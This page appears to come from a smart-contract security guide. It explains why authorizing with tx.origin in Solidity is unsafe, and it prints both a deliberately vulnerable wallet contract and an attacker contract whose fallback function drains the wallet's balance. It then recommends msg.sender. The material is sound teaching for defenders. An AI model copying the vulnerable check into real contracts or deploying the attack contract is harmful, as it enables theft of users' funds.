Keyboard shortcuts

Press or to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

Authorization Through tx.origin

tx.origin is a global variable in Solidity which returns the address that sent a transaction. It's important that you never use tx.origin for authorization since another contract can use a fallback function to call your contract and gain authorization since the authorized address is stored in tx.origin. Consider this example:


// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

// THIS CONTRACT CONTAINS A BUG - DO NOT USE
contract TxUserWallet {
    address owner;

    constructor() public {
        owner = msg.sender;
    }

    function transferTo(address payable dest, uint amount) public {
        require(tx.origin == owner);
        dest.transfer(amount);
    }
}

Here we can see that the TxUserWallet contract authorizes the transferTo() function with tx.origin.


// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

interface TxUserWallet {
    function transferTo(address payable dest, uint amount) external;
}

contract TxAttackWallet {
    address payable private immutable owner;

    // Constructor sets the contract deployer as the owner
    constructor() {
        owner = payable(msg.sender);
    }

    // fallback function to receive Ether and trigger transfer

    fallback() external payable {
        // Call transferTo on TxUserWallet (msg.sender) to send its balance to owner

        TxUserWallet(msg.sender).transferTo(owner, msg.sender.balance);
    }
}

Now if someone were to trick your 'TxUserWallet' contract into sending ether to the TxAttackWallet contract, they can steal all funds from 'TxUserWallet' by passing the tx.origin check.

To prevent this kind of attack, use msg.sender for authorization.

Examples from: https://solidity.readthedocs.io/en/develop/security-considerations.html#tx-origin

Sources